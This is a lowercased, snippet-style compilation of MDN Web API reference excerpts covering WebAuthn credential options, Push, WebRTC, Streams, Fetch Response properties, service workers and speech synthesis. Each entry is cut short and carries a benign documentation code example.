examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then...
...(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
PublicKeyCredentialCreationOptions.extensions - Web APIs
examples var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (new...
...credentialinfo) { // mybuffer will contain the result of any of the processing of the extensions var mybuffer = newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
PublicKeyCredentialCreationOptions.timeout - Web APIs
challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then...
...(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialCreationOptions.user - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams:...
... [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'user' in that specification.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
note: publickeycredentialcreationoptions.excludecredentials may be used during the creation of the credentials in order to avoid creating new credentials for an existing user with existing public key credential.
... examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back ...
PublicKeyCredentialRequestOptions - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com", /* will only work if the current domain is something like foo.example.com */ userverification: "preferred", timeout: 60000, // wait for a minute allowcredentials: [ { transports: "usb", type: "public-key", id: new uint8array(26) // actually provided by the server }, ...
... { transports: "internal", type: "public-key", id: new uint8array(26) // actually provided by the server } ], extensions: { uvm: true, // rp wants to know how the user was verified loc: false, txauthsimple: "could you please verify yourself?" } }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialrequestoptions dictionary' in that specification.
PushEvent - Web APIs
WebAPIPushEvent
constructor pushevent.pushevent() creates a new pushevent object.
... self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status commen...
PushManager.register() - Web APIs
the register method is used to ask the system to request a new endpoint for notifications.
... example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushManager.registrations() - Web APIs
} else { // register for a new endpoint.
... var register = navigator.push.register(); register.onsuccess = function(e) { console.log("registered new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface.
Push API - Web APIs
WebAPIPush API
this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content.
... note: as of gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds.
RTCConfiguration.bundlePolicy - Web APIs
examples the following example creates a new rtcpeerconnection with a configuration setting the connection's bundlepolicy to max-compat to maximize compatibility while attempting to optimize network use.
... let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification.
RTCConfiguration.certificates - Web APIs
if you don't provide certificates, new ones are generated automatically.
...this also avoids the cost of generating new keys.
RTCConfiguration.iceTransportPolicy - Web APIs
examples in this example, a new connection is configured to only accept relay candidates.
... let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification.
RTCDataChannel: close event - Web APIs
before any further data can be transferred using rtcdatachannel, a new data channel instance must be created.
... bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
RTCDataChannelEvent - Web APIs
the rtcdatachannelevent() constructor returns a new rtcdatachannelevent object, which represents a datachannel event.
... constructorrtcdatachannelevent() the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.propertiesalso inherits properties from: eventchannel read only the read-only property rtcdatachannelevent.channel returns the rtcdatachannel associated with the event.methodsthis interface has no methods, but inherits methods from: event examples in this example, the datachannel event handler is set up to save the data channel reference and set up handlers for the events ...
RTCIceCandidateInit - Web APIs
rtcicecandidateinit is used when using new rtcicecandidate() to create a new ice candidate object.
...if the candidate is an indicator that there are no further candidates (rather than representing a new candidate), this is the empty string ("").
RTCIceCandidatePairStats - Web APIs
in addition, it adds the following new properties: availableincomingbitrate optional provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp streams.
... any candidate pair that isn't the active pair of candidates for a transport gets deleted if the rtcicetransport performs an ice restart, at which point the state of the ice transport returns to new and negotiation starts once again.
RTCIceServer.credential - Web APIs
}; var credential = iceserver.credential; iceserver.credential = newcredential; example this example creates a new rtcpeerconnection which uses a turn server at turnserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.username - Web APIs
}; var username = iceserver.username; iceserver.username = newusername; example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
RTCIceTransport.gatheringState - Web APIs
the read-only rtcicetransport property gatheringstate returns a domstring from the enumerated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete".
... syntax gatherstate = rtcicetransport.gatheringstate; value a string from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
as ice negotiation continues, any time a pair of candidates is discovered that is better than the currently-selected pair, the new pair is selected, replacing the previous pairing, and the selectedcandidatepairchange event is fired again.
... note: it's possible for one of the configurations in the selected candidate pair to remain unchanged when a new pairing is chosen.
RTCIceTransport.ongatheringstatechange - Web APIs
to determine the new state, examine the value of gatheringstate.
...its possible values are: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
the rtcicetransport interface's onselectedcandidatepairchange event handler specifies a function to be called to handle the selectedcandidatepairchange event, which is fired when the ice agent selects a new candidate pair to be used for the connection.
... syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
RTCIceTransport - Web APIs
the value is one of those included in the rtcicegathererstate enumerated type: "new", "gathering", or "complete".
... selectedcandidatepairchange sent to the rtcicetransport when a new, better pair of candidates has been selected to describe the connectivity between the two peers.
RTCPeerConnection.canTrickleIceCandidates - Web APIs
example var pc = new rtcpeerconnection(); // the following code might be used to handle an offer from a peer when // it isn't known whether it supports trickle ice.
... pc.setremotedescription(remoteoffer) .then(_ => pc.createanswer()) .then(answer => pc.setlocaldescription(answer)) .then(_ => if (pc.cantrickleicecandidates) { return pc.localdescription; } return new promise(r => { pc.addeventlistener('icegatheringstatechange', e => { if (e.target.icegatheringstate === 'complete') { r(pc.localdescription); } }); }); }) .then(answer => sendanswertopeer(answer)) // signaling message .catch(e => handleerror(e)); pc.addeventlistener('icecandidate', e => { if (pc.cantrickleicecandidates) { sendcandidatetopeer(e.candidate); // signaling message } }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe defi...
RTCPeerConnection.close() - Web APIs
make sure that you delete all references to the previous rtcpeerconnection before attempting to create a new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.close()' in that specification.
RTCPeerConnection.connectionState - Web APIs
constant description "new" at least one of the connection's ice transports (rtcicetransports or rtcdtlstransports) are in the "new" state, and none of them are in one of the following states: "connecting", "checking", "failed", or "disconnected", or all of the connection's transports are in the "closed" state.
... example var pc = new rtcpeerconnection(configuration); /* ...
RTCPeerConnection.createAnswer() - Web APIs
successcallback an rtcsessiondescriptioncallback which will be passed a single rtcsessiondescription object describing the newly-created answer.
...}) .catch(handlegetusermediaerror); this asks rtcpeerconnection to create and return a new answer.
RTCPeerConnection.iceConnectionState - Web APIs
constant description "new" the ice agent is gathering addresses or is waiting to be given remote candidates through calls to rtcpeerconnection.addicecandidate() (or both).
... example var pc = new rtcpeerconnection(); var state = pc.iceconnectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.iceconnectionstate' in that specification.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
the new ice connection state is available in the object's iceconnectionstate} property.
... usage notes a successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed.
RTCPeerConnection.peerIdentity - Web APIs
if there isn't already a target peer identity, peeridentity is set to a newly created promise and the process begins again, until the process succeeds or no further attempts to authenticate occur.
... let pc = new rtcpeerconnection(); /* ...
RTCPeerConnection.removeStream() - Web APIs
if the negotiation already happened, a new one will be needed for the remote peer to be able to use it.
... example var pc, videostream; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); videostream = stream; pc.addstream(stream); } document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removestream(videostream); pc.close(); }, false); ...
RTCPeerConnection.signalingState - Web APIs
this may mean that the rtcpeerconnection object is new, in which case both the localdescription and remotedescription are null; it may also mean that negotiation is complete and a connection has been established.
... example var pc = new rtcpeerconnection(configuration); var state = pc.signalingstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.signalingstate' in that specification.
RTCRtpSender.setStreams() - Web APIs
if this parameter isn't specified, no new streams will be associated with the track.
...it doesn't remove the track from any streams; it simply adds it to new ones.
RTCSessionDescription - Web APIs
rtcsessiondescription() this constructor returns a new rtcsessiondescription.
... example signalingchannel.onmessage = function (evt) { if (!pc) start(false); var message = json.parse(evt.data); if (message.sdp) pc.setremotedescription(new rtcsessiondescription(message), function () { // if we received an offer, we need to answer if (pc.remotedescription.type == "offer") pc.createanswer(localdesccreated, logerror); }, logerror); else pc.addicecandidate(new rtcicecandidate(message.candidate), function () {}, logerror); }; specifications specification...
ReadableStream.ReadableStream() - Web APIs
syntax var readablestream = new readablestream(underlyingsource[, queuingstrategy]); parameters underlyingsource an object containing methods and properties that define how the constructed stream instance will behave.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() ...
ReadableStream.pipeThrough() - Web APIs
next, we log the contents of the readable stream, use pipethrough() to send it to a new function that creates a gray-scaled version of the stream, then log the new stream's contents too.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification.
ReadableStreamDefaultReader.read() - Web APIs
async function* maketextfilelineiterator(fileurl) { const utf8decoder = new textdecoder("utf-8"); let response = await fetch(fileurl); let reader = response.body.getreader(); let {value: chunk, done: readerdone} = await reader.read(); chunk = chunk ?
...utf8decoder.decode(chunk) : ""); startindex = re.lastindex = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(urloffile)) { processline(line); } specifications specification status comment streamsthe definition of 'read()' in that specification.
ReadableStreamDefaultReader - Web APIs
fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
the relativeorientationsensor constructor creates a new relativeorientationsensor object which describes the device's physical orientation.
... syntax var relativeorientationsensor = new relativeorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
Report - Web APIs
WebAPIReport
via the reports parameter of the callback function passed into the reportingobserver() constructor upon creation of a new observer instance.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside ...
ReportingObserver - Web APIs
constructor reportingobserver() creates a new reportingobserver object instance, which can be used to collect and access reports.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use th...
Request.headers - Web APIs
WebAPIRequestheaders
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request headers in a variable: var myrequest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'de...
...fault' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
ResizeObserver - Web APIs
constructor resizeobserver() creates and returns a new resizeobserver object.
...cument.queryselector('h1'); const pelem = document.queryselector('p'); const divelem = document.queryselector('body > div'); const slider = document.queryselector('input[type="range"]'); const checkbox = document.queryselector('input[type="checkbox"]'); divelem.style.width = '600px'; slider.addeventlistener('input', () => { divelem.style.width = slider.value + 'px'; }) const resizeobserver = new resizeobserver(entries => { for (const entry of entries) { if (entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize / 600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width / 200) + 'rem'; pelem.style.fontsize =...
Response.clone() - Web APIs
WebAPIResponseclone
example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path.
... var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment...
Response.headers - Web APIs
WebAPIResponseheaders
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification.
Response.ok - Web APIs
WebAPIResponseok
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification.
Response.status - Web APIs
WebAPIResponsestatus
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification.
Response.statusText - Web APIs
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.type - Web APIs
WebAPIResponsetype
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'type' in that specification.
Response.url - Web APIs
WebAPIResponseurl
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification.
SVGFETurbulenceElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGMarkerElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGPreserveAspectRatio - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGTextPathElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGTransform - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
... methods name & arguments return description setmatrix(in svgmatrix matrix) void sets the transform type to svg_transform_matrix, with parameter matrix defining the new transformation.
ScriptProcessorNode.bufferSize - Web APIs
syntax var audioctx = new audiocontext(); var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); value an integer.
... note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', tru...
ScriptProcessorNode.onaudioprocess - Web APIs
syntax var audioctx = new audiocontext(); var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); scriptnode.onaudioprocess = function() { ...
... note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', tru...
ScriptProcessorNode - Web APIs
an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
... note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', tru...
Selection.type - Web APIs
WebAPISelectiontype
example in this example, the event handler will fire each time a new selection is made.
... var selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification.
Selection API - Web APIs
you can run code in response to the selection being changed, or a new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers.
...when a new range of text is about to be selected by the user).
SensorErrorEvent.SensorErrorEvent() - Web APIs
the sensorerrorevent constructor creates a new sensorerrorevent object which provides information about errors thrown by any of the interfaces based on sensor.
... syntax sensorerrorevent = new sensorerrorevent(type, {error: domexception}); parameters type will always be 'sensorerrorevent'.
Server-sent events - Web APIs
traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server.
... with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
ServiceWorkerContainer - Web APIs
events controllerchange occurs when the document's associated serviceworkerregistration acquires a new active worker.
... if (navigator.serviceworker.controller) { console.log('this page is currently controlled by:', navigator.serviceworker.controller); } // then, register a handler to detect when a new or // updated service worker takes control.
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
example while self.skipwaiting() can be called at any point during the service worker's execution, it will only have an effect if there's a newly installed service worker that might otherwise remain in the waiting state.
... the following example causes a newly installed service worker to progress into the activating state, regardless of whether there is already an active service worker.
ServiceWorkerGlobalScope - Web APIs
events activate occurs when a serviceworkerregistration acquires a new serviceworkerregistration.active worker.
... install occurs when a serviceworkerregistration acquires a new serviceworkerregistration.installing worker.
ServiceWorkerMessageEvent - Web APIs
constructor serviceworkermessageevent.serviceworkermessageevent() creates a new serviceworkermessageevent object instance.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
SharedWorker() - Web APIs
syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will execute.
... examples the following code snippet shows creation of a sharedworker object using the sharedworker() constructor and subsequent usage of the object: var myworker = new sharedworker('worker.js'); myworker.port.start(); first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; consol...
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
it just means the play order will be fixed, and new timestamps generated to reflect this.
... exceptions the following exceptions may be thrown when setting a new value for this property.
SpeechGrammar - Web APIs
constructor speechgrammar.speechgrammar() creates a new speechgrammar object.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammarList.addFromString() - Web APIs
stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'addfromstring()' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgrammarlist interface takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
SpeechSynthesis.cancel() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesis.pause() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.pending - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speak() - Web APIs
